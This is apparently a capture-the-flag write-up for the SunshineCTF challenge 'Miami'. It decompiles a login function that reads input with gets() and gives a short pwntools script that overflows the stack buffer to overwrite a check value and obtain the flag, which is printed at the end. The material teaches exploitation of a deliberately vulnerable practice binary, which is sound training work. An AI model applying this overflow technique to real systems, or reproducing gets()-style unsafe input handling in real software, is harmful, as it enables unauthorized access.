Miami

Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his login terminal and get the proof we need!

    miami

nc chal.sunshinectf.games 25601 

Decompile in IDA:

int vuln()
{
  _QWORD v1[8]; // [rsp+0h] [rbp-50h] BYREF
  int v2; // [rsp+40h] [rbp-10h]
  int v3; // [rsp+4Ch] [rbp-4h]

  v3 = 0xDEADBEEF;
  memset(v1, 0, sizeof(v1));
  v2 = 0;
  printf("Enter Dexter's password: ");
  gets(v1);
  if ( v3 != 0x1337C0DE )
    return puts("Invalid credentials!");
  puts("Access granted...");
  return read_flag();
}

Stack overflow using gets. We can override v3 to 0x1337C0DE by:

from pwn import *

elf = ELF("./miami")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")

p = remote("chal.sunshinectf.games", 25601)
# p = process(["./miami"])
# gdb.attach(p)
# pause()
p.sendline(b"A"*76+p32(0x1337c0de))
p.interactive()

Flag: sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}.